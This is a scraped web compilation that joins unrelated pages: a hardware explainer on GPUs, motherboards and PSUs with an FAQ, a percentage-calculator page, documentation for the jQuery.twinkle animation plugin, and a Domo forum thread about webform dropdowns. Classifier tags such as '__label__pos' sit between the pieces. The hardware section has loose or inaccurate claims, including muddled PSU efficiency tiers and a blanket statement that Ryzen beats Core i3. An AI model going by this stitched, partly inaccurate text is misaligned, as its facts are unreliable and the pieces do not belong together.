• 测试和 DEBUG 方法复杂,至少需要制造新老 2 个版本 SW 的环境,并且熟练掌握 SW 的 DEBUG 方式。
尤其是为了达成用户点击后的 SW “插队”,需要从 DOM 点击响应,到发送消息给 SW,再到 SW 里面操作。这一串操作横跨好几个 JS,非常不直观且复杂。为此已有 Google 大佬 Jake Archibald 向 W3C 提出建议,简化这个过程,允许在普通的 JS 中通过 reg.waiting.skipWaiting() 直接插队,而不是只能在 SW 内部操作。
弊端二:必须通过 JS 完成更新
这里指的是 SW 的更新只能通过用户点击通知条上的按钮,使用 JS 来完成,而 不能通过浏览器的刷新按钮完成。这其实是浏览器的设计问题,而非方案本身的问题。
不过反过来说,如果浏览器帮助我们完成了上述操作,那就变成允许通过一个 Tab 的刷新去强制其他 Tab 刷新,在当前浏览器以 Tab 为单位的前提下,存在这种交叉控制也是不安全和难以理解的。
唯一可行的优化是当 SW 控制的页面仅存在一个 Tab 时,刷新这个 Tab 如果能够更新 SW,也能给我们省去不少操作,也不会带来交叉控制的问题。只是这样可能加重了浏览器的判断成本,也丧失了操作一致性的美感,只能说这可能也是一个久远的梦想了。
后记
SW 的功能相当强大,但同时涉及的 API 也相对较多,是一个需要投入相当学习成本的强力技术(国外文章称之为 rocket science)。SW 的更新对使用 SW 的站点来说非常重要,但如上所述,其方案也相对复杂,远远超过了其他常用前端基础技术的复杂度(例如 DOM API,JS 运算,闭包等等)。不过 SW 从其起步至今也不过两三年的时间,尚处在发展期。相信通过 W3C 的不断修正以及前端圈的持续使用,会有更加简洁,更加自动,更加完备的方案出现,届时我们可能就能像使用 DOM API 那样简单地使用 SW 了。
参考文章
• 有关 Service Worker 更新的两点改进 - 编写本文的源头
• The Service Worker Lifecycle - 来自 Google Developers 的 Service Worker 科普文章之一
• How to Fix the Refresh Button When Using Service Workers - 提及了第四种方法,不过在 Firefox 中仍有兼容性问题
推荐阅读
(点击标题可跳转阅读)
使用 Service Worker 做一个 PWA 离线网页应用
利用 Service worker 创建一个非常简单的离线页面
Service Worker初体验
觉得本文对你有帮助?请分享给更多人
关注「前端大全」加星标,提升前端技能
640?wx_fmt=png
展开阅读全文
没有更多推荐了,返回首页
|
__label__pos
| 0.522248 |
ADMB Documentation 11.1.2192
All Classes Files Functions Variables Typedefs Friends Defines
studentT.cpp
Go to the documentation of this file.
00001 #include "statsLib.h"
00002
00038 dvariable dstudent_t( const dvar_vector& residual, const dvar_vector& df)
00039 {
00040 RETURN_ARRAYS_INCREMENT();
00041 double pi = 3.141593;
00042 dvar_vector t1 = 0.5*(df+1);
00043 dvar_vector t2 = gammln(t1);
00044 dvar_vector t3 = 0.5*log(df*pi)+gammln(0.5*df);
00045 dvar_vector t4 = elem_prod(t1,log(1+elem_div(square(residual),df)));
00046 dvariable pdf = sum(t3+t4-t2);
00047 RETURN_ARRAYS_DECREMENT();
00048 return( pdf );
00049 }
|
__label__pos
| 0.677997 |
Solve the equation sin - cos theta =
Malakia Henghali 2022-06-02
Solve the equation sincosθ=(3/2) Find the value for in the interval x2,2π3 NBtake note of the interval, and give your answer in radians correct to 3 decimal places .
You can still ask an expert for help
Expert Community at Your Service
• Live experts 24/7
• Questions are typically answered in as fast as 30 minutes
• Personalized clear answers
Learn more
Solve your problem for the price of one coffee
• Available 24/7
• Math expert for every subject
• Pay only if we can solve it
Ask Question
Expert Community at Your Service
• Live experts 24/7
• Questions are typically answered in as fast as 30 minutes
• Personalized clear answers
Learn more
You might be interested in
asked 2020-12-30
A majorette in a parade is performing some acrobatic twirlingsof her baton. Assume that the baton is a uniform rod of mass 0.120 kg and length 80.0 cm.
With a skillful move, the majorette changes the rotation ofher baton so that now it is spinning about an axis passing throughits end at the same angular velocity 3.00 rad/s as before. What is the new angularmomentum of the rod?
asked 2021-09-18
A standard normal table, also called the unit normal table or Z table, may be a mathematical table for the values of ϕ, which are the values of the cumulative distribution function of the traditional distribution.
confidence intervalsZ901.645951.96962.05972.17982.326992.576
a) How do calculate Z-score using the confidence interval?
asked 2022-04-07
When the Bureau of Labor Statistics conducts a survey, it begins by partitioning the United States adult popula- tion into 2,007 groups called primary sampling units Assume that these primary sampling units all contain the same number of adults. If you randomly select one adult from each primary sampling unit, is the result a simple random sample? Why or why not?
asked 2021-08-08
Find integral.
5xsinxdx
asked 2021-02-12
Contain linear equations with constants in denominators. Solve each equation
5+x23=x+38
asked 2021-01-05
In each of the following situations, the sampling frame does not match the population, resulting in undercoverage. Give example of population members that might have been omitted.
a) The population consists of all 250 students in your laege statistics class. You plan to obtain a sample random sample of 30 students by using the sample frame of students present next Monday.
b) The population consists of all 15-year-olds living in the attendance district of a local high school. You plna to obtain a simple random sample of 200 such residents by using the student roster of the high school as the sampling frame.
asked 2021-08-13
Evaluate the integral.
xsecx2dx
New questions
|
__label__pos
| 0.902583 |
emco83
56
10
Laravel
Need help with showing posts by category
Posted 1 year ago by emco83
I'm struggling with this functionality in Laravel for a week, so guys please help me to solve this issue.
In my database I have these tables:
categories - id, created_at, updated_at
categories_translations id, category_id, locale, user_id, name, slug, created_at, updated_at
teams - id, created_at, updated_at
teams_translations - id, team_id, locale, title, slug, image, body, category_id, created_at, updated_at
EDIT: I've forgot to put category_id previously here.
I'm using Laravel translatable 3rd-party from here: https://github.com/dimsav/laravel-translatable
So far I've created relationship successfully with these tables and in my admin section I'm showing created teams with related categories. Also on frontpage I'm showing all teams in one page list. When I click on specific team, it shows the team page. That's great.
I'm struggling with showing teams by categories.
So, this is my code.
Category model:
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use Dimsav\Translatable\Translatable;
class Category extends Model
{
use Translatable;
public $translatedAttributes = ['name', 'slug', 'status', 'user_id', 'image', 'locale'];
public function teams()
{
return $this->hasMany(Team::class);
}
}
CategoryTranslation model:
<?php
namespace App;
use Cviebrock\EloquentSluggable\Sluggable;
use Illuminate\Database\Eloquent\Model;
class CategoryTranslation extends Model
{
use Sluggable;
protected $touches = ['category'];
public $timestamps = false;
/**
* Return the sluggable configuration array for this model.
*
* @return array
*/
public function sluggable()
{
return [
'slug' => [
'source' => 'name',
'onUpdate' => true
]
];
}
public function category() {
return $this->belongsTo('App\Category');
}
}
Team model:
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use Dimsav\Translatable\Translatable;
class Team extends Model
{
use Translatable;
public $translatedAttributes = ['title', 'slug', 'body', 'status', 'user_id', 'image', 'category_id', 'locale'];
public function category() {
return $this->belongsTo(Category::class);
}
}
TeamTranslation model:
<?php
namespace App;
use Cviebrock\EloquentSluggable\Sluggable;
use Illuminate\Database\Eloquent\Model;
class TeamTranslation extends Model
{
use Sluggable;
protected $touches = ['team'];
public $timestamps = false;
/**
* Return the sluggable configuration array for this model.
*
* @return array
*/
public function sluggable()
{
return [
'slug' => [
'source' => 'title',
'onUpdate' => true,
]
];
}
public function team() {
return $this->belongsTo(Team::class);
}
}
Part of my route:
Route::get('/team/category/{category}', ['uses' => '[email protected]', 'as' => 'teamCategory']);
Part of my TeamController:
public function teamCategory(Category $category) {
return $category;
}
And here's my view:
@extends('layouts.frontend')
@section('title', __('t.team'))
@section('content')
<div class="main team-list">
<div class="container">
<div class="col-md-3">
<ul>
@foreach($categories as $category)
<li><a href="{{ route('teamCategory', $category->slug) }}">{{ $category->name }}</a></li>
@endforeach
</ul>
</div>
<div class="col-md-9">
@foreach($teams as $team)
@if($team->status == 1)
<div class="row">
<div class="image">
<a href="{{ route('team.team', $team->slug) }}"><img width="120" src="{{ Storage::url($team->image) }}" ></a>
</div>
<div class="title">
{{ $team->title }}
</div>
<div class="body">
{!! str_limit($team->body, 300) !!}
</div>
<div class="category">
{{ $team->category ? $team->category->name : 'No category' }}
</div>
<a class="more">More</a>
</div>
@endif
@endforeach
</div>
</div>
</div>
@endsection
For a example I have a category name php, so in the view when I click on the category link, it goes to this url: mywebsite.com/en/team/category/php and it shows: Sorry, the page you are looking for could not be found.
I've tried to add this method in the Category model:
public function getRouteKeyName() {
return 'name';
}
and it shows:
SQLSTATE[42S22]: Column not found: 1054 Unknown column 'name' in 'where clause' (SQL: select * from `categories` where `name` = php limit 1)
Anyone help?
Please sign in or create an account to participate in this conversation.
Reply to
Use Markdown with GitHub-flavored code blocks.
|
__label__pos
| 0.567526 |
[Pkg-octave-devel] Re: Forking glpk
John W. Eaton jwe at bevo.che.wisc.edu
Wed Nov 16 00:27:13 UTC 2005
On 15-Nov-2005, Falk Hueffner wrote:
| The difference is that the *ABI* changes frequently.
I think that happens for a lot of software.
| This will break horribly if the headers become out of sync with the
| library. You absolutely need to provide matching headers.
Yes, of course. So maybe a different solution is needed?
| I'm not really convinced. The problem is that you'll need a new
| package name each time you upgrade, and this will leave lots of stale
| library packages behind and generally be a hassle.
Why is it a hassle? How often are new releases of glpk happening?
Every few weeks? Twice a year? Does the ABI change with every
release?
| If the goal is only
| to provide a solution for octave, it would probably be easier to just
| add a copy of glpk's source into the octave tarball and install it as
| glpk-octave or something.
No. I do not want to include external packages in Octave. Doing that
would definitely be a hassle.
jwe
More information about the Pkg-octave-devel mailing list
|
__label__pos
| 0.87635 |
1 reply [Last post]
Anonymous
Anonymous's picture
Guru
calgary,alberta
calgary,alberta
any one know how phpMyAdmin does their table row colors?
the whole table's row changes color (all cells) when you hover, and if click it chages to a different color and the color sticks after you move on. I;m intensly interested how they did this? Is it CSS or a java script?
DJSdotcom
Offline
Enthusiast
Rochester, NY / Chicago, IL
Last seen: 13 years 14 weeks ago
Rochester, NY / Chicago, IL
Joined: 2003-03-23
Posts: 95
Points: 0
a little of both
Pete,
There are a few different ways of doing this, some are complicated, and some are REALLY complicated lol.
In a JavaScript DOM (Document Object Model) Compliant browser such as IE5+, NN6+, Mozilla, Camino... you can use the DOM to access certain nodes (layers, divs, headers, spans) in your document and change their styles on the fly. For example:
<div id="changeMe">Text</div>
You want to change its background color when you mouseover the element... add some of this code:
<div id="changeMe" onmouseover="document.getElementById( 'changeMe' ).style.backgroundColor = '#FFC';">Text</div>
By adding that JavaScript handler and code into that div, now when the user mouses over it, the JavaScript code is executed. This code targets this exact layer (id="changeMe"), and changes its backgroundColor property. This is the JavaScript DHTML equivalent of saying this:
#changeMe { background-color: #FFC; } in the header of the document.
DHTML using the Document Object Model is the dynamic JavaScript way to change the styles of certain page elements when you want to, on the fly.
There are lots of good resources on the web regarding using DHTML and the DOM, start out at webmonkey Wink
-Mike
</twocents>
|
__label__pos
| 0.96823 |
Take the 2-minute tour ×
Mathematics Stack Exchange is a question and answer site for people studying math at any level and professionals in related fields. It's 100% free, no registration required.
I have a triangle with one vertex on 0,0, another at 0,Y, and the third at X,Y, where Y is a positive integer and and X is any positive number (can be irrational/decimal/integral/etc).
I tried using Pick's Theorem but it requires all integer vertices. Is there any way to count lattice points otherwise?
share|improve this question
1
I don't think you'll do better than $\sum_{y=0}^{Y}(1+\lfloor \frac{yX}{Y}\rfloor)$, assuming you want to count points on the boundary. – Thomas Andrews Mar 5 '12 at 14:43
add comment
1 Answer
up vote 4 down vote accepted
As I mentioned in my comment above, the simple formula is:
$$\sum_{y=0}^{Y}(1+\left\lfloor \frac{yX}{Y}\right\rfloor)$$
If you use Pick's formula to count the points in $(0,0)-(0,Y)-(\left\lfloor X \right\rfloor,Y)$ with result $N$, then your result is $$N + \sum_{y=1}^Y (\left\lfloor\frac{yX}{Y}\right\rfloor - \left\lfloor \frac{y\left\lfloor X\right\rfloor}Y \right\rfloor)$$
The values in the sum are always $0$ and $1$.
Basically, this sum counts the number of values $y=1,..,Y$ such that there is a natural number $n$ such that $\frac{y\left\lfloor X\right\rfloor}{Y} < n \leq \frac{yX}{Y}$
I've had some time to consider the continued fraction approach, and it might improve the computation in some instances.
Expand $\frac X Y$ as a continued fraction, choosing one with an odd number of terms if $X$ is rational. Let $R_k=\frac{P_k}{Q_k}$ be the $k$th continue fraction. Then the number of positive lattice points such that $y\leq Y$ and $R_{2n}<\frac{x}{y}\leq R_{2n+2}$ can be computed as the number of pairs of positive integers $(u,v)$ such that $uQ_{2n} + vQ_{2n+1}\leq Y$ and $ua_{2n+2} \geq v$. Letting $v_1=\left\lfloor \frac{v-1}{a_{2n+2}}\right\rfloor$, this count is:
$$\sum_{v=1}^{\left\lfloor \frac {a_{2n+2}Y}{Q_{2n+2}}\right\rfloor}\sum_{u=v_1+1}^{\left\lfloor \frac{Y-vQ_{2n+1}}{Q_{2n}}\right\rfloor} 1 $$
The inner sum can be written as $\max(0,\left\lfloor \frac{Y-vQ_{2n+1}}{Q_{2n}}\right\rfloor - \left\lfloor \frac{v-1}{a_{2n+2}}\right\rfloor)$.
Note that when $a_{2n+2}=1$, this term simplifies to:
$$\left\lfloor \frac{Y-vQ_{2n+1}}{Q_{2n}}\right\rfloor - (v-1) = \left\lfloor\frac{Y-v(Q_{2n+1}+Q_{2n})}{Q_{2n}}\right\rfloor +1 = \left\lfloor \frac{Y-vQ_{2n+2}}{Q_{2n}}\right\rfloor + 1$$
But $R_0=P_0$ is an integer, so the number of non-negative lattice points $(x,y)$ with $y\leq Y$ and $x\leq R_0y$ is $1+Y+\sum_{j=1}^Y P_0j = 1+Y+P_0\frac{Y(Y+1)}2$.
So the total number of points is:
$$1+Y+P_0\frac{Y(Y+1)}2 + \sum_{n=1}^\infty \sum_{v=1}^{\left\lfloor \frac {a_{2n}Y}{Q_{2n}}\right\rfloor} \max(0,\left\lfloor \frac{Y-vQ_{2n-1}}{Q_{2n-2}}\right\rfloor - \left\lfloor \frac{v-1}{a_{2n}}\right\rfloor)$$
But note that the number of terms in the inner sum is zero if $\frac{Q_{2n}}{a_{2n}}>Y$, and $\frac{Q_{2n}}{a_{2n}}>Q_{2n-1}$so we can always write this as a finite sum, and, in particular, since $Q_k$ grows exponentially (at minimum, $Q_k$ is the $k$th Fibonacci number), the number of $n$ values is actually $O(\log Y)$.
The total pairs $n,v$ in this sum is about $\frac{2Y}{a_1}$, maximum. When $a_1=1$, this is more terms than the $Y+1$ terms for the "simple formula" above. However, notice the simple formula requires you to know $X$ to an unspecified level of precision, while this formula only requires integer arithmetic with values less than $Y$.
For example, if $X=\frac{Y}{N}$ for some integer $N>1$, then the continued fraction for $\frac{1}{N}$ we would choose is: $$0+\frac{1}{N-1+\frac{1}{1}}$$ to ensure the odd number of terms, and we would have $P_0=0$, $Q_0=1$, $Q_2=N$. This also gives us the case of $a_2=1$, so we can use the easier formula for the terms. Then this result would yield (remembering that $X=\frac{Y}{N}$:) $$1+Y+\sum_{v=1}^{\left\lfloor \frac{Y}{N}\right\rfloor} (1+Y-vN) = (1+Y)( 1+\left\lfloor X\right\rfloor) - \frac{N\left\lfloor X\right\rfloor(\left\lfloor X\right\rfloor +1)}2$$
The only test I've given this formula is $Y=10$ and $N=3$ (so $X=\frac{10}{3}$.) Both this formula and simple counting yields $26$, but I'd want some more testing for this in general.
An alternative formula came to me today.
$$1+Y+P_0\frac{Y(Y+1)}2 + \sum_{n=1}^\infty \sum_{v=1}^{\left\lfloor \frac Y {Q_{2n-1}}\right\rfloor}\left( \left\lfloor \frac{Y-vQ_{2n-1}}{Q_{2n-2}}\right\rfloor-\left\lfloor \frac{Y-vQ_{2n-1}}{Q_{2n}}\right\rfloor\right)$$
In particular, then, if $Q_2+Q_1>Y$, then this total is:
$$1+Y+P_0\frac{Y(Y+1)}2 + \sum_{v=1}^{\left\lfloor \frac Y {Q_1}\right\rfloor} Y-vQ_1 =$$ $$1+Y+P_0\frac{Y(Y+1)}2 + YY_0 - Q_1\frac{Y_0(Y_0+1)}2$$
Where $Y_0=\left\lfloor \frac Y {Q_1}\right\rfloor$.
For example, if $\frac X Y=\pi$, then $Q_1=7$, $Q_2=106$, so if $Y<113$, the total is:
$$1+Y+3\frac{Y(Y+1)}2 + YY_0 - 7\frac{Y_0(Y_0+1)}2$$
Where $Y_0=\left\lfloor \frac Y {7}\right\rfloor$.
share|improve this answer
That's what I've been using unfortunately, and it's quite slow for my purposes, but thanks anyway. I will likely need a new approach entirely. – John Smith Mar 5 '12 at 15:10
It seems like it might vary based on the continued fraction approximations for $X/Y$. – Thomas Andrews Mar 5 '12 at 15:37
If $X$ is not an integer, and $\frac{P_k}{Q_k}$ is one of the continued fraction expansions of $\frac{X}{Y}$ with $P_k/Q_k\geq X/Y$ and $Q_k>Y$, then you can replace $X$ with $\frac{P_k}{Q_k}$, I think, but I haven't quite proven that. If so, continued fractions at the very least let you reduce to $X$ being a rational number. – Thomas Andrews Mar 5 '12 at 15:58
add comment
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.999941 |
matsch matsch - 1 year ago 176
Android Question
SharedPreference committed in SyncAdapter not updated in Activity?
I am changing and committing a SharedPreference in my SyncAdapter after successful sync, but I am not seeing the updated value when I access the preference in my Activity (rather I am seeing the old value). What am I doing wrong? Different Contexts?
My SyncAdapter where I update the preference:
class SyncAdapter extends AbstractThreadedSyncAdapter {
private int PARTICIPANT_ID;
private final Context mContext;
private final ContentResolver mContentResolver;
public SyncAdapter(Context context, boolean autoInitialize) {
super(context, autoInitialize);
mContext = context;
mContentResolver = context.getContentResolver();
}
public SyncAdapter(Context context, boolean autoInitialize, boolean allowParallelSyncs) {
super(context, autoInitialize, allowParallelSyncs);
mContext = context;
mContentResolver = context.getContentResolver();
}
@Override
public void onPerformSync(Account account, Bundle extras, String authority,
ContentProviderClient provider, SyncResult syncResult) {
final SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(mContext);
PARTICIPANT_ID = Integer.parseInt(prefs.getString("participant_id", "0"));
if (success) {
// save and set the new participant id
PARTICIPANT_ID = newParticipantId;
prefs.edit().putString("participant_id", String.valueOf(newParticipantId)).commit();
}
}
}
The Service initializing the SyncAdapter with the ApplicationContext:
public class SyncService extends Service {
private static final Object sSyncAdapterLock = new Object();
private static SyncAdapter sSyncAdapter = null;
@Override
public void onCreate() {
synchronized (sSyncAdapterLock) {
if (sSyncAdapter == null) {
sSyncAdapter = new SyncAdapter(getApplicationContext(), false);
}
}
}
@Override
public IBinder onBind(Intent intent) {
return sSyncAdapter.getSyncAdapterBinder();
}
}
A static function within the Application called by the Activity that checks the SharedPreference. This does not return the value committed in the SyncAdapter, but the old value. (My SettingsActivity and other Activities also use the old value.):
public static boolean isUserLoggedIn(Context ctx) {
final SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(ctx);
int participantId = Integer.parseInt(prefs.getString("participant_id", "0"));
LOGD("dg_Utils", "isUserLoggedIn.participantId: " + participantId);// TODO
if (participantId <= 0) {
ctx.startActivity(new Intent(ctx, LoginActivity.class).addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP));
return false;
}
return true;
}
UPDATE: I am getting the new value when I completely close the app (swipe it from the apps running). I also have a SharedPreferenceChangeListener, which is not fired when the preference is updated.
private final SharedPreferences.OnSharedPreferenceChangeListener mParticipantIDPrefChangeListener = new SharedPreferences.OnSharedPreferenceChangeListener() {
public void onSharedPreferenceChanged(SharedPreferences prefs, String key) {
if (key.equals("participant_id")) {
LOGI(TAG, "participant_id has changed, requesting to restart the loader.");
mRestartLoader = true;
}
}
};
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
// subscribe to the participant_id change lister
final SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(getActivity());
PARTICIPANT_ID = Integer.parseInt(prefs.getString("participant_id", "0"));
prefs.registerOnSharedPreferenceChangeListener(mParticipantIDPrefChangeListener);
}
Answer
Ok, I figured it out myself with @Titus help and after some research and pieced together a solution for my problem.
The reason why the DefaultSharedPreferences of the same Context are not updated is that I have specified the SyncService to run in its own process in the AndroidManifest.xml (see below). Hence, starting from Android 2.3, the other process is blocked from accessing the updated SharedPreferences file (see this answer and the Android docs on Context.MODE_MULTI_PROCESS).
<service
android:name=".sync.SyncService"
android:exported="true"
android:process=":sync"
tools:ignore="ExportedService" >
<intent-filter>
<action android:name="android.content.SyncAdapter" />
</intent-filter>
<meta-data
android:name="android.content.SyncAdapter"
android:resource="@xml/syncadapter" />
</service>
So I had to set MODE_MULTI_PROCESS when accessing the SharedPreferences both in the SyncAdapter and in the UI process of my app. Because I've used PreferenceManager.getDefaultSharedPreferences(Context) extensively throughout the app I wrote a utility method and replaced all calls of PreferenceManager.getDefaultSharedPreferences(Context) with this method (see below). The default name of the preferences file is hardcoded and derived from the Android source code and this answer.
public static SharedPreferences getDefaultSharedPreferencesMultiProcess(
Context context) {
return context.getSharedPreferences(
context.getPackageName() + "_preferences",
Context.MODE_PRIVATE | Context.MODE_MULTI_PROCESS);
}
|
__label__pos
| 0.998944 |
HalfPintBoy HalfPintBoy - 10 months ago 186
Python Question
pyspark matrix with dummy variables
Have two columns:
ID Text
1 a
2 b
3 c
How can I able to create matrix with dummy variables like this:
ID a b c
1 1 0 0
2 0 1 0
3 0 0 1
Using pyspark library and its features?
Answer
df = sqlContext.createDataFrame([
(1, "a"),
(2, "b"),
(3, "c"),
], ["ID", "Text"])
categories = df.select("Text").distinct().rdd.flatMap(lambda x: x).collect()
exprs = [F.when(F.col("Text") == category, 1).otherwise(0).alias(category)
for category in categories]
df.select("ID", *exprs).show()
Output
+---+---+---+---+
| ID| a| b| c|
+---+---+---+---+
| 1| 1| 0| 0|
| 2| 0| 1| 0|
| 3| 0| 0| 1|
+---+---+---+---+
|
__label__pos
| 0.999246 |
LLVM 19.0.0git
FDRRecords.h
Go to the documentation of this file.
1//===- FDRRecords.h - XRay Flight Data Recorder Mode Records --------------===//
2//
3// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
4// See https://llvm.org/LICENSE.txt for license information.
5// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
6//
7//===----------------------------------------------------------------------===//
8//
9// Define types and operations on these types that represent the different kinds
10// of records we encounter in XRay flight data recorder mode traces.
11//
12//===----------------------------------------------------------------------===//
13#ifndef LLVM_XRAY_FDRRECORDS_H
14#define LLVM_XRAY_FDRRECORDS_H
15
16#include <cstdint>
17#include <string>
18
19#include "llvm/ADT/StringRef.h"
22#include "llvm/Support/Error.h"
24
25namespace llvm {
26namespace xray {
27
28class RecordVisitor;
29class RecordInitializer;
30
31class Record {
32public:
33 enum class RecordKind {
48 };
49
51
52private:
53 const RecordKind T;
54
55public:
56 Record(const Record &) = delete;
57 Record(Record &&) = delete;
58 Record &operator=(const Record &) = delete;
59 Record &operator=(Record &&) = delete;
60 explicit Record(RecordKind T) : T(T) {}
61
62 RecordKind getRecordType() const { return T; }
63
64 // Each Record should be able to apply an abstract visitor, and choose the
65 // appropriate function in the visitor to invoke, given its own type.
66 virtual Error apply(RecordVisitor &V) = 0;
67
68 virtual ~Record() = default;
69};
70
71class MetadataRecord : public Record {
72public:
73 enum class MetadataType : unsigned {
74 Unknown,
78 TSCWrap,
80 CallArg,
85 };
86
87protected:
88 static constexpr int kMetadataBodySize = 15;
89 friend class RecordInitializer;
90
91private:
92 const MetadataType MT;
93
94public:
95 explicit MetadataRecord(RecordKind T, MetadataType M) : Record(T), MT(M) {}
96
97 static bool classof(const Record *R) {
98 return R->getRecordType() >= RecordKind::RK_Metadata &&
99 R->getRecordType() <= RecordKind::RK_Metadata_LastMetadata;
100 }
101
102 MetadataType metadataType() const { return MT; }
103
104 virtual ~MetadataRecord() = default;
105};
106
107// What follows are specific Metadata record types which encapsulate the
108// information associated with specific metadata record types in an FDR mode
109// log.
111 uint64_t Size = 0;
112 friend class RecordInitializer;
113
114public:
118
122 Size(S) {}
123
124 uint64_t size() const { return Size; }
125
126 Error apply(RecordVisitor &V) override;
127
128 static bool classof(const Record *R) {
129 return R->getRecordType() == RecordKind::RK_Metadata_BufferExtents;
130 }
131};
132
134 uint64_t Seconds = 0;
135 uint32_t Nanos = 0;
136 friend class RecordInitializer;
137
138public:
142
146 Seconds(S), Nanos(N) {}
147
148 uint64_t seconds() const { return Seconds; }
149 uint32_t nanos() const { return Nanos; }
150
151 Error apply(RecordVisitor &V) override;
152
153 static bool classof(const Record *R) {
154 return R->getRecordType() == RecordKind::RK_Metadata_WallClockTime;
155 }
156};
157
159 uint16_t CPUId = 0;
160 uint64_t TSC = 0;
161 friend class RecordInitializer;
162
163public:
167
171 CPUId(C), TSC(T) {}
172
173 uint16_t cpuid() const { return CPUId; }
174
175 uint64_t tsc() const { return TSC; }
176
177 Error apply(RecordVisitor &V) override;
178
179 static bool classof(const Record *R) {
180 return R->getRecordType() == RecordKind::RK_Metadata_NewCPUId;
181 }
182};
183
185 uint64_t BaseTSC = 0;
186 friend class RecordInitializer;
187
188public:
191 }
192
195 BaseTSC(B) {}
196
197 uint64_t tsc() const { return BaseTSC; }
198
199 Error apply(RecordVisitor &V) override;
200
201 static bool classof(const Record *R) {
202 return R->getRecordType() == RecordKind::RK_Metadata_TSCWrap;
203 }
204};
205
207 int32_t Size = 0;
208 uint64_t TSC = 0;
209 uint16_t CPU = 0;
210 std::string Data{};
211 friend class RecordInitializer;
212
213public:
217
218 explicit CustomEventRecord(uint64_t S, uint64_t T, uint16_t C, std::string D)
221 Size(S), TSC(T), CPU(C), Data(std::move(D)) {}
222
223 int32_t size() const { return Size; }
224 uint64_t tsc() const { return TSC; }
225 uint16_t cpu() const { return CPU; }
226 StringRef data() const { return Data; }
227
228 Error apply(RecordVisitor &V) override;
229
230 static bool classof(const Record *R) {
231 return R->getRecordType() == RecordKind::RK_Metadata_CustomEvent;
232 }
233};
234
236 int32_t Size = 0;
237 int32_t Delta = 0;
238 std::string Data{};
239 friend class RecordInitializer;
240
241public:
245
246 explicit CustomEventRecordV5(int32_t S, int32_t D, std::string P)
249 Size(S), Delta(D), Data(std::move(P)) {}
250
251 int32_t size() const { return Size; }
252 int32_t delta() const { return Delta; }
253 StringRef data() const { return Data; }
254
255 Error apply(RecordVisitor &V) override;
256
257 static bool classof(const Record *R) {
258 return R->getRecordType() == RecordKind::RK_Metadata_CustomEventV5;
259 }
260};
261
263 int32_t Size = 0;
264 int32_t Delta = 0;
265 uint16_t EventType = 0;
266 std::string Data{};
267 friend class RecordInitializer;
268
269public:
273
274 explicit TypedEventRecord(int32_t S, int32_t D, uint16_t E, std::string P)
277 Size(S), Delta(D), Data(std::move(P)) {}
278
279 int32_t size() const { return Size; }
280 int32_t delta() const { return Delta; }
281 uint16_t eventType() const { return EventType; }
282 StringRef data() const { return Data; }
283
284 Error apply(RecordVisitor &V) override;
285
286 static bool classof(const Record *R) {
287 return R->getRecordType() == RecordKind::RK_Metadata_TypedEvent;
288 }
289};
290
292 uint64_t Arg = 0;
293 friend class RecordInitializer;
294
295public:
298 }
299
302 Arg(A) {}
303
304 uint64_t arg() const { return Arg; }
305
306 Error apply(RecordVisitor &V) override;
307
308 static bool classof(const Record *R) {
309 return R->getRecordType() == RecordKind::RK_Metadata_CallArg;
310 }
311};
312
313class PIDRecord : public MetadataRecord {
314 int32_t PID = 0;
315 friend class RecordInitializer;
316
317public:
321
322 explicit PIDRecord(int32_t P)
325 PID(P) {}
326
327 int32_t pid() const { return PID; }
328
329 Error apply(RecordVisitor &V) override;
330
331 static bool classof(const Record *R) {
332 return R->getRecordType() == RecordKind::RK_Metadata_PIDEntry;
333 }
334};
335
337 int32_t TID = 0;
338 friend class RecordInitializer;
339
340public:
344
345 explicit NewBufferRecord(int32_t T)
348 TID(T) {}
349
350 int32_t tid() const { return TID; }
351
352 Error apply(RecordVisitor &V) override;
353
354 static bool classof(const Record *R) {
355 return R->getRecordType() == RecordKind::RK_Metadata_NewBuffer;
356 }
357};
358
360public:
364
365 Error apply(RecordVisitor &V) override;
366
367 static bool classof(const Record *R) {
368 return R->getRecordType() == RecordKind::RK_Metadata_EndOfBuffer;
369 }
370};
371
372class FunctionRecord : public Record {
373 RecordTypes Kind;
374 int32_t FuncId = 0;
375 uint32_t Delta = 0;
376 friend class RecordInitializer;
377
378 static constexpr unsigned kFunctionRecordSize = 8;
379
380public:
382
383 explicit FunctionRecord(RecordTypes K, int32_t F, uint32_t D)
384 : Record(RecordKind::RK_Function), Kind(K), FuncId(F), Delta(D) {}
385
386 // A function record is a concrete record type which has a number of common
387 // properties.
388 RecordTypes recordType() const { return Kind; }
389 int32_t functionId() const { return FuncId; }
390 uint32_t delta() const { return Delta; }
391
392 Error apply(RecordVisitor &V) override;
393
394 static bool classof(const Record *R) {
395 return R->getRecordType() == RecordKind::RK_Function;
396 }
397};
398
400public:
401 virtual ~RecordVisitor() = default;
402
403 // Support all specific kinds of records:
404 virtual Error visit(BufferExtents &) = 0;
406 virtual Error visit(NewCPUIDRecord &) = 0;
407 virtual Error visit(TSCWrapRecord &) = 0;
409 virtual Error visit(CallArgRecord &) = 0;
410 virtual Error visit(PIDRecord &) = 0;
413 virtual Error visit(FunctionRecord &) = 0;
416};
417
419 DataExtractor &E;
420 uint64_t &OffsetPtr;
421 uint16_t Version;
422
423public:
424 static constexpr uint16_t DefaultVersion = 5u;
425
427 : E(DE), OffsetPtr(OP), Version(V) {}
428
431
432 Error visit(BufferExtents &) override;
433 Error visit(WallclockRecord &) override;
434 Error visit(NewCPUIDRecord &) override;
435 Error visit(TSCWrapRecord &) override;
436 Error visit(CustomEventRecord &) override;
437 Error visit(CallArgRecord &) override;
438 Error visit(PIDRecord &) override;
439 Error visit(NewBufferRecord &) override;
440 Error visit(EndBufferRecord &) override;
441 Error visit(FunctionRecord &) override;
442 Error visit(CustomEventRecordV5 &) override;
443 Error visit(TypedEventRecord &) override;
444};
445
446} // namespace xray
447} // namespace llvm
448
449#endif // LLVM_XRAY_FDRRECORDS_H
static GCRegistry::Add< OcamlGC > B("ocaml", "ocaml 3.10-compatible GC")
static GCRegistry::Add< ErlangGC > A("erlang", "erlang-compatible garbage collector")
